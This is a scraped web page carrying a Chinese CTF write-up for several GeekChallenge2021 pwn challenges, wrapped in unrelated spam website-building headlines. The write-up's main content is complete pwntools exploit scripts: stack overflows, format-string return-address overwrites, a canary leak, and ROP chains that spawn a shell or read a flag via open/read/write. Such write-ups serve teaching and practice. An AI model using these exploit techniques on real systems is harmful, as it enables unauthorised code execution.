当前位置: 首页 > news >正文

怎么在自己做的网站上发视频广州建网站公司

怎么在自己做的网站上发视频,广州建网站公司,百度如何优化,安卓app大全下载PWN-COMPETITION-GeekChallenge2021check in恋爱小游戏ret2xxone恋爱小游戏2.0easyfmteasycanaryret2babypwn777check in 66s内解答200道四则运算的题目即可getshell 参与运算的数和运算符都会打印#xff0c;直接写脚本即可 # -*- coding:utf-8 -*- from pwn import * cont… PWN-COMPETITION-GeekChallenge2021check in恋爱小游戏ret2xxone恋爱小游戏2.0easyfmteasycanaryret2babypwn777check in 66s内解答200道四则运算的题目即可getshell 参与运算的数和运算符都会打印直接写脚本即可 # -*- coding:utf-8 -*- from pwn import * context.log_leveldebug #ioprocess(./math) ioremote(123.57.230.48,12343) elfELF(./math)for i in range(200):io.recvuntil(num1:)num1int(io.recvuntil(\n)[:-1])io.recvuntil(num2:)num2int(io.recvuntil(\n)[:-1])io.recvuntil(this calculation is )signio.recvuntil(\n)[:-1]ans0if sign:ansnum1num2elif sign-:ansnum1-num2elif sign*:ansnum1*num2else:ansnum1/num2io.sendlineafter(your answer!!:\n,str(ans))io.interactive()恋爱小游戏 栈溢出覆写栈上变量的值使满足if即可getshell可直接在命令行输入payload ret2xxone Geek函数中存在栈溢出漏洞前提是先输入一个数和程序产生的随机数相同 由于程序没有通过srand()函数设置随机数种子所以每次运行程序时程序产生的随机数都是相同的可以通过调试得到 在0x0804860C处下断点程序调用rand()后返回值EAX即为程序产生的随机数这里为0x6b8b4567 之后就是利用栈溢出getshell # -*- coding:utf-8 -*- from pwn import * ioprocess(./ret2xx) elfELF(./ret2xx) system_pltelf.plt[system] binsh0x080486D0io.recvuntil(to solve it!\n) num0x6b8b4567 io.send(p32(num))payloada*(0x1A4)p32(system_plt)p32(0xdeadbeef)p32(binsh) io.send(payload)io.interactive()恋爱小游戏2.0 栈溢出原理和1.0一样注意在命令行输入payload后不能用回车要用CtrlD来结束输入 或者写脚本payload最后设为\x00即可 # -*- coding:utf-8 -*- from pwn import * ioremote(47.242.20.238,10000) payloada*24loveyou\x00 io.send(payload) io.interactive()easyfmt 格式化字符串漏洞第一次覆写栈上变量的值第二次覆写返回地址 backdoor关闭了标准输出流使用exec实现重定位再cat flag即可 # -*- coding:utf-8 -*- from pwn import * #ioprocess(./format_string) ioremote(123.57.230.48,12342) elfELF(./format_string)#gdb.attach(io,b * 0x08048685) #pause()io.recvuntil(First step:\n0x) v3_addrint(io.recvuntil(\n)[:-1],16) print(v3_addrhex(v3_addr))payloadp32(v3_addr)%8c%15$hn # len(payload)13 io.send(payload)backdoor0x0804874D ebp_sub_8v3_addr0x10 io.recvuntil(you enter there\n) payloadp32(ebp_sub_8)%str(backdoor0xff-4)c%7$hhn print(len(payload)) io.sendline(payload)io.sendline(exec 12) io.sendline(cat flag) #pause()io.interactive()easycanary 格式化字符串泄露canaryread利用栈溢出覆写返回地址getshell # -*- coding:utf-8 -*- from pwn import * #ioprocess(./stackguard1) ioremote(123.57.230.48,12344) elfELF(./stackguard1)#gdb.attach(io,b * 0x4012A3) #pause()payload%11$p io.sendline(payload) io.recvuntil(0x) canaryint(io.recv(16),16) print(canaryhex(canary))backdoor0x4011D6 payloada*(0x30-8)p64(canary)b*8p64(backdoor) io.sendline(payload)#pause()io.interactive()ret2baby main函数中说有两次机会其实一次就可以getshell了 input函数中要求输入一个position范围为[0,20]将这个position传入game函数中 对game函数的分析标注在注释中 当game函数第32行的if语句成立时可以造成栈溢出脚本如下 # -*- coding:utf-8 -*- from pwn import * context.log_leveldebug #ioprocess(./ret2) ioremote(123.57.230.48,12346) elfELF(./ret2)binsh0x4014d4 pop_rdi0x401273 ret0x400318io.recvuntil(please input your position\n) io.sendline(20)io.recvuntil(plz input your value\n) io.sendline(0)io.recvuntil(this is a gitf 0x) systemint(io.recv(12),16) print(systemhex(system))payloada*(0x128)p64(pop_rdi)p64(binsh)p64(ret)p64(system)io.sendline(payload)io.interactive()pwn777 此题开了沙箱ban了execve系统调用于是考虑orw game函数中利用栈溢出覆写随机数种子为0绕过随机检测 fmt()函数中存在bss段上的格式化字符串漏洞参考bss上的格式化字符串漏洞 此题除了game函数中存在栈溢出其它函数中都不存在可实现rop的条件要想实现orw还需要栈迁移 # -*- coding:utf-8 -*- from pwn import * #context.log_leveldebug context.archamd64 # 下面asm()找gadget需要 #ioprocess(./pwn01) ioremote(47.242.20.238,7777) elfELF(./pwn01) libcELF(./libc-2.23.so)#offset0x1621 #io_base io.libs()[io.cwd io.argv[0].strip(.)] #gdb.attach(io,b * str(io_baseoffset)) #pause()io.recvuntil(input your name\n) namea*16p64(0)p32(0) # 栈溢出将随机数种子设为0 io.send(name)num[1804289383,846930886,1681692777,1714636915,1957747793,424238335,719885386,1649760492,596516649,1189641421] for i in range(10):io.recvuntil(input your number:)io.sendline(str(num[i]))io.recvuntil(try your best!\n) payload%6$p.%7$p.%13$p #泄露栈地址程序基地址libc基址 io.sendline(payload) io.recvuntil(0x) stack_addrint(io.recvuntil(.)[:-1],16) #栈地址 print(stack_addrhex(stack_addr)) io.recvuntil(0x) proc_baseint(io.recvuntil(.)[:-1],16)-0x166F #程序基地址 print(proc_basehex(proc_base)) io.recvuntil(0x) libc_baseint(io.recv(12),16)-240-libc.sym[__libc_start_main] #libc基址 print(libc_basehex(libc_base)) buf_addrproc_base0x4060 #buf地址 print(buf_addrhex(buf_addr))# 依照bss段上的格式化字符串漏洞利用原理实现栈迁移需要修改rbp到fake_rbp地址改写mymain的返回地址到一个leave_ret # phase 1 start 改写mymain的返回地址到一个leave_ret ripstack_addr0x8 rip_0_2rip0xff print(rip_0_2hex(rip_0_2)) payload%str(rip_0_2)c%6$hhn #这里是偏移为6的链 io.sendline(payload)leave_retproc_base0x1676 print(leave_rethex(leave_ret)) retleave_ret0xff print(rethex(ret)) payload%str(ret)c%10$hhn io.sendline(payload)# phase 1 end# phase 2 start 改写rbp到fake_rbp地址由于原本栈上的rbp与fake_rbp地址完全不同需要分3次各次写2个字节共6个字节 fake_rbpbuf_addr0x10 print(fake_rbphex(fake_rbp))buf_addr_0_4(fake_rbp)0xffff print(buf_addr_0_4hex(buf_addr_0_4)) payload%str(buf_addr_0_4)c%6$hn #低2字节可以用上面改写返回地址的链直接写偏移为6的链 io.sendline(payload)# 中间2字节 和 高2字节 需要找另一条链辅助写这里是偏移为15的链 stack_addr_add_2stack_addr0x2 print(stack_addr_add_2hex(stack_addr_add_2)) stack_addr_add_2stack_addr_add_20xffff payload%str(stack_addr_add_2)c%15$hn io.sendline(payload)buf_addr_4_8(fake_rbp16)0xffff print(buf_addr_4_8hex(buf_addr_4_8)) payload%str(buf_addr_4_8)c%41$hn io.sendline(payload)stack_addr_add_4stack_addr0x4 print(stack_addr_add_4hex(stack_addr_add_4)) stack_addr_add_4stack_addr_add_40xffff payload%str(stack_addr_add_4)c%15$hn io.sendline(payload)buf_addr_8_12(fake_rbp32)0xffff print(buf_addr_8_12hex(buf_addr_8_12)) payload%str(buf_addr_8_12)c%41$hn io.sendline(payload) # phase 2 endbssproc_base0x4020 syscall libc_base0x1015D7 #在libc中找一个syscall的偏移即可 pop_rax_ret libc_baselibc.search(asm(pop rax; ret)).next() #注意设置context.archamd64 pop_rdi_ret libc_baselibc.search(asm(pop rdi; ret)).next() pop_rsi_ret libc_baselibc.search(asm(pop rsi; ret)).next() pop_rdx_ret libc_baselibc.search(asm(pop rdx; ret)).next()payloadjiaraniloveyou~\x00 # len16 payload./flag.ljust(8,\x00) #要打开的文件名 # 下面是利用栈迁移实现orw,open,read,write payloadp64(pop_rdi_ret)p64(buf_addr0x10)p64(pop_rsi_ret)p64(0)p64(pop_rax_ret)p64(2)p64(syscall) payloadp64(pop_rdi_ret)p64(3)p64(pop_rsi_ret)p64(bss)p64(pop_rdx_ret)p64(0x30)p64(pop_rax_ret)p64(0)p64(syscall) payloadp64(pop_rdi_ret)p64(1)p64(pop_rsi_ret)p64(bss)p64(pop_rdx_ret)p64(0x30)p64(pop_rax_ret)p64(1)p64(syscall) io.sendline(payload)#pause()io.interactive()
http://www.zqtcl.cn/news/77817/

相关文章:

  • 校园网站建设提升广州网页设计师培训班
  • 做二手车广告推广哪家网站好礼服购物车网站模板
  • 微网站建设计划书外贸 网站 源码
  • 求创意设计分享的网站网站关键词排名很好的原因
  • 深圳宝安住房和建设局网站官网网站提供哪些服务
  • 网站首页专题怎么做萝岗定制型网站建设
  • 广州建设局网站北京正规网站建设经历
  • 开商城网站食品网站应该怎么做
  • 公司企业网站制作教程旅游网站设计与制作课程设计
  • 旅游网站源码 wordpress模板 v1.0免费加速器永久免费版不用登录
  • 李志自己做网站html网页框架代码
  • 企业资质查询官方网站企业解决方案部
  • wordpress自定义字段不全站显示房地产销售现状
  • 做奖状的网站汕头网站建设只需要800
  • 南京网站制作公司有哪些赣州网络招聘
  • 2345网站入口抖音推广怎么做
  • 网页设计怎么建立网站创新的沈阳网站建设
  • 个人网站电商怎么做优秀网页设计导航
  • 怎么修改php网站求带商城的wordpress模板
  • 淮北哪有做淘宝网站昭通做网站公司
  • 网站建设运营厦门市建设管理协会网站首页
  • 同城型网站开发创建一个网站需要做哪些工作
  • 模板建站是什么网站关键词多长
  • 克隆网站怎么做wordpress 浏览器兼容
  • 都什么网站用wordpress搜索网站老是跳出别的网站要怎么做
  • 服务好的南昌网站建设莱芜区宣传部网站
  • 上海闸北区网站建设网页制作工具可以发布网页吗
  • iview可以做门户网站吗做网站价格报价费用多少钱
  • 德尔普的网站建设的价格wordpress轮播图
  • 小说网站的里面的搜索是怎么做的做电影网站怎么盈利